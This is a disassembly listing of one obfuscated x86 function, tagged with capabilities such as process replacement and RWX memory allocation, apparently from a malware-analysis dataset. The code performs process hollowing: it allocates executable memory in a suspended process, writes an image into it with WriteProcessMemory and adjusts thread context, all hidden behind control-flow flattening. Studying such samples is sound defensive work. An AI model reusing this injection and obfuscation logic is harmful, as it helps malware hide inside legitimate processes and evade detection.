Function at 0x40def0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inspect section memory permissions
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1a8], eax
mov eax, dword [0x47f880]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
mov edx, ecx
sub edx, 0x5308defe
sub edx, 1
add edx, 0x5308defe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x19e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x19d], al
mov dword [ebp - 0x1a4], 0x881764aa
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x1ac], eax
sub eax, 0x81bb5da2
je 0x41224f
jmp 0x40df74
mov eax, dword [ebp - 0x1ac]
sub eax, 0x83bd2142
je 0x412199
jmp 0x40df8a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x881764aa
je 0x40f3ab
jmp 0x40dfa0
mov eax, dword [ebp - 0x1ac]
sub eax, 0x893e923b
je 0x412c2a
jmp 0x40dfb6
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8b2a3530
je 0x412d30
jmp 0x40dfcc
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8b438ef9
je 0x41239b
jmp 0x40dfe2
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8f0bda53
je 0x411eb8
jmp 0x40dff8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8f65a425
je 0x412960
jmp 0x40e00e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9097a8a3
je 0x41001d
jmp 0x40e024
mov eax, dword [ebp - 0x1ac]
sub eax, 0x911a7e45
je 0x41234a
jmp 0x40e03a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9142ad98
je 0x40fa06
jmp 0x40e050
mov eax, dword [ebp - 0x1ac]
sub eax, 0x91ca8015
je 0x410d16
jmp 0x40e066
mov eax, dword [ebp - 0x1ac]
sub eax, 0x921c96e0
je 0x4119a8
jmp 0x40e07c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9270b7f6
je 0x412dc6
jmp 0x40e092
mov eax, dword [ebp - 0x1ac]
sub eax, 0x92ce543e
je 0x41072e
jmp 0x40e0a8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9331b233
je 0x40fc75
jmp 0x40e0be
mov eax, dword [ebp - 0x1ac]
sub eax, 0x95a0607a
je 0x4107e0
jmp 0x40e0d4
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9be40cf2
je 0x4115b3
jmp 0x40e0ea
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9dcb6261
je 0x41106a
jmp 0x40e100
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9ee675fc
je 0x410faf
jmp 0x40e116
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa00dd4ec
je 0x41041f
jmp 0x40e12c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa092d55c
je 0x41060f
jmp 0x40e142
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa2a5a829
je 0x412a8e
jmp 0x40e158
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa3e1aaf5
je 0x411bc5
jmp 0x40e16e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa42490f0
je 0x40f8dc
jmp 0x40e184
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa4ed776d
je 0x411777
jmp 0x40e19a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa63ae36d
je 0x412810
jmp 0x40e1b0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa8e9bb9e
je 0x410711
jmp 0x40e1c6
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa9050155
je 0x40f608
jmp 0x40e1dc
mov eax, dword [ebp - 0x1ac]
sub eax, 0xaa39eeaa
je 0x411f0f
jmp 0x40e1f2
mov eax, dword [ebp - 0x1ac]
sub eax, 0xac56a85d
je 0x4114ac
jmp 0x40e208
mov eax, dword [ebp - 0x1ac]
sub eax, 0xad73efcd
je 0x412c15
jmp 0x40e21e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xadae233a
je 0x411b1c
jmp 0x40e234
mov eax, dword [ebp - 0x1ac]
sub eax, 0xae4fdad4
je 0x4102a9
jmp 0x40e24a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb116cf0d
je 0x40fd0b
jmp 0x40e260
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb2334dbe
je 0x412824
jmp 0x40e276
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb2fbe9dd
je 0x40f86c
jmp 0x40e28c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb6019e29
je 0x40f830
jmp 0x40e2a2
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb6900454
je 0x411db8
jmp 0x40e2b8
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb6c83dfe
je 0x412975
jmp 0x40e2ce
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb702bbab
je 0x412cee
jmp 0x40e2e4
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb72f350e
je 0x411aae
jmp 0x40e2fa
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb8cb6979
je 0x410106
jmp 0x40e310
mov eax, dword [ebp - 0x1ac]
sub eax, 0xba3d5053
je 0x410115
jmp 0x40e326
mov eax, dword [ebp - 0x1ac]
sub eax, 0xbab73b97
je 0x410469
jmp 0x40e33c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xbb7270ac
je 0x412c44
jmp 0x40e352
mov eax, dword [ebp - 0x1ac]
sub eax, 0xbbf0cfb1
je 0x4106f3
jmp 0x40e368
mov eax, dword [ebp - 0x1ac]
sub eax, 0xbc23766e
je 0x412c5e
jmp 0x40e37e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xbd3d4591
je 0x412801
jmp 0x40e394
mov eax, dword [ebp - 0x1ac]
sub eax, 0xbfb0eeaf
je 0x41180f
jmp 0x40e3aa
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc02e9eae
je 0x410d07
jmp 0x40e3c0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc0a570b6
je 0x4115c2
jmp 0x40e3d6
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc36697c4
je 0x41116a
jmp 0x40e3ec
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc39b74a8
je 0x412b8f
jmp 0x40e402
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc4f11ac2
je 0x410e4e
jmp 0x40e418
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc609b9ad
je 0x412d0c
jmp 0x40e42e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc6f7c97f
je 0x41018b
jmp 0x40e444
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc7e491b6
je 0x412d3f
jmp 0x40e45a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc7f4d1bc
je 0x40fa9f
jmp 0x40e470
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc828cc2b
je 0x412750
jmp 0x40e486
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc94af729
je 0x412bc5
jmp 0x40e49c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc9f24b62
je 0x412029
jmp 0x40e4b2
mov eax, dword [ebp - 0x1ac]
sub eax, 0xcb0f3112
je 0x4123aa
jmp 0x40e4c8
mov eax, dword [ebp - 0x1ac]
sub eax, 0xcc19afda
je 0x4120ad
jmp 0x40e4de
mov eax, dword [ebp - 0x1ac]
sub eax, 0xcd1ba1b6
je 0x412c79
mov al, byte [ebp - 0x19e]
mov cl, byte [ebp - 0x19d]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb2334dbe
mov ecx, 0xd4211955
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x1a4], 0x1c7c8cf3
jmp 0x412dd0
mov edx, dword [ebp - 0x130]
mov eax, 0xc828cc2b
mov ecx, 0x64ffb3df
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov eax, dword [ebp - 0x12c]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 8
mov dword [esp + 8], 0x2cc
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x188]
mov dword [eax], ecx
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x190]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x1a4], 0xa42490f0
jmp 0x412dd0
mov edx, dword [ebp - 0x128]
mov eax, 0x553168b3
mov ecx, 0x139966d2
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0x2707d10a
jmp 0x412dd0
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x190]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x1a4], 0xfa2d1ea9
jmp 0x412dd0
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x108], eax
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
mov edx, ecx
sub edx, 0x4c8c7a6f
sub edx, 1
add edx, 0x4c8c7a6f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6a94ad8b
mov ecx, 0x52b9faad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x180]
mov edx, dword [eax]
mov eax, dword [ebp - 0x190]
mov esi, dword [eax]
mov eax, dword [ebp - 0x108]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x1a4], 0x7e857e3a
jmp 0x412dd0
mov eax, dword [0x480d3c]
mov ecx, dword [0x480d38]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde96af5b
mov ecx, 0x3ecaa117
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0xba3d5053
jmp 0x412dd0
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
mov edx, ecx
sub edx, 0x893703bf
sub edx, 1
add edx, 0x893703bf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7cc49999
mov ecx, 0xc6f7c97f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x16c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xf0]
add ecx, 0x8e73647f
add ecx, eax
sub ecx, 0x8e73647f
mov eax, dword [ebp - 0x180]
mov edx, dword [eax]
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov esi, dword [ebp - 0x16c]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
sub edx, 0xd8bbce6
add edx, eax
add edx, 0xd8bbce6
mov eax, dword [ebp - 0x190]
mov esi, dword [eax]
mov eax, dword [ebp - 0xf4]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x16c]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0xe8], eax
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7cc49999
mov ecx, 0xae4fdad4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0x553a352
jmp 0x412dd0
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd4]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov esi, dword [ebp - 0xd8]
sub esi, 0x231e84f1
add esi, eax
add esi, 0x231e84f1
mov edx, dword [ebp - 0xe0]
mov eax, 0x606bdcea
mov ecx, 0xbab73b97
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x1a4], 0xf1f07706
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0xf29b8045
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0x66efda40
jmp 0x412dd0
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x1a4], 0x92ce543e
jmp 0x412dd0
mov eax, dword [ebp - 0xbc]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xb5], al
mov dword [ebp - 0x1a4], 0x327b6cb2
jmp 0x412dd0
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
mov edx, ecx
add edx, 0x62b8a5c8
sub edx, 1
sub edx, 0x62b8a5c8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5b735076
mov ecx, 0x1e52d898
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0x91ca8015
jmp 0x412dd0
mov dl, byte [ebp - 0x89]
mov eax, 0xf51817a5
mov ecx, 0x677deb75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x7e], ax
mov dword [ebp - 0x1a4], 0x773bc834
jmp 0x412dd0
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x78]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov edx, dword [ebp - 0x15c]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x1a4], 0xe0c97a2d
jmp 0x412dd0
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc94af729
mov ecx, 0xe93d26bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov eax, dword [ebp - 0x68]
mov edx, dword [eax]
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x1a4], 0xd088f33d
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0x654bacab
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0xc0a570b6
jmp 0x412dd0
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
mov edx, ecx
sub edx, 0x4f5a6266
sub edx, 1
add edx, 0x4f5a6266
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbc23766e
mov ecx, 0x4e066446
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov eax, dword [ebp - 0x148]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
mov edx, ecx
add edx, 0x2b268dad
sub edx, 1
sub edx, 0x2b268dad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd1ba1b6
mov ecx, 0xbfb0eeaf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0x4c16b47e
jmp 0x412dd0
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1a4], 0x58f44224
jmp 0x412dd0
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x497c1f3f
mov ecx, 0xadae233a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov eax, dword [0x480d3c]
mov ecx, dword [0x480d38]
mov edx, eax
add edx, 0x336e2743
sub edx, 1
sub edx, 0x336e2743
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x497c1f3f
mov ecx, 0x486c0b21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
mov edx, ecx
sub edx, 0x5bf9e83d
sub edx, 1
add edx, 0x5bf9e83d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x68567286
mov ecx, 0x6842c5ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov dl, byte [ebp - 0x36]
mov eax, 0x288297f0
mov ecx, 0x6dfed5dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0xcb0f3112
jmp 0x412dd0
mov dl, byte [ebp - 0x35]
mov eax, 0xf703e309
mov ecx, 0x279a1689
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x2d], al
mov eax, dword [0x480d3c]
mov ecx, dword [0x480d38]
mov edx, eax
sub edx, 0x683e13b8
sub edx, 1
add edx, 0x683e13b8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc609b9ad
mov ecx, 0x396726af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
mov edx, ecx
sub edx, 0x8309faa0
sub edx, 1
add edx, 0x8309faa0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7bd66f61
mov ecx, 0x113e7ade
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov dl, byte [ebp - 0x2d]
mov eax, 0x7029d8bb
mov ecx, 0x2acf5c4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov ecx, dword [0x480d3c]
mov eax, dword [0x480d38]
mov edx, ecx
add edx, 0xe22efb6f
sub edx, 1
sub edx, 0xe22efb6f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8b2a3530
mov ecx, 0x4d438b52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov eax, dword [0x480d3c]
mov ecx, dword [0x480d38]
mov edx, eax
add edx, 0x6f79d091
sub edx, 1
sub edx, 0x6f79d091
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7e491b6
mov ecx, 0x8b438ef9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a4], eax
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0xcb0f3112
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0x5f884b46
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0xd8df3de1
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0xa63ae36d
jmp 0x412dd0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041d420
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 4
mov dword [ebp - 0x1a4], 0xd4211955
jmp 0x412dd0
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x1a4], 0xf23d8cf0
jmp 0x412dd0
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x1a4], 0xfff631a2
jmp 0x412dd0
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x1a4], 0xd720bee
jmp 0x412dd0
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1a4], 0x5516ce6e
jmp 0x412dd0
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x154]
mov ecx, dword [ecx]
sub ecx, 0x7c663007
add ecx, eax
add ecx, 0x7c663007
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x1a4], 0xe93d26bc
jmp 0x412dd0
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1a4], 0xdebcc760
jmp 0x412dd0
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x64]
mov dword [eax], ecx
mov dword [ebp - 0x1a4], 0x4883df79
jmp 0x412dd0
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x58]
mov dword [eax], ecx
mov dword [ebp - 0x1a4], 0x6e205a18
jmp 0x412dd0
mov eax, dword [ebp - 0x14c]
mov dword [eax], 0
mov dword [ebp - 0x1a4], 0x4e066446
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0xec67dd69
jmp 0x412dd0
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x1a4], 0xc9f24b62
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0x81bb5da2
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0x911a7e45
jmp 0x412dd0
mov dword [ebp - 0x1a4], 0xd356779f
jmp 0x40df58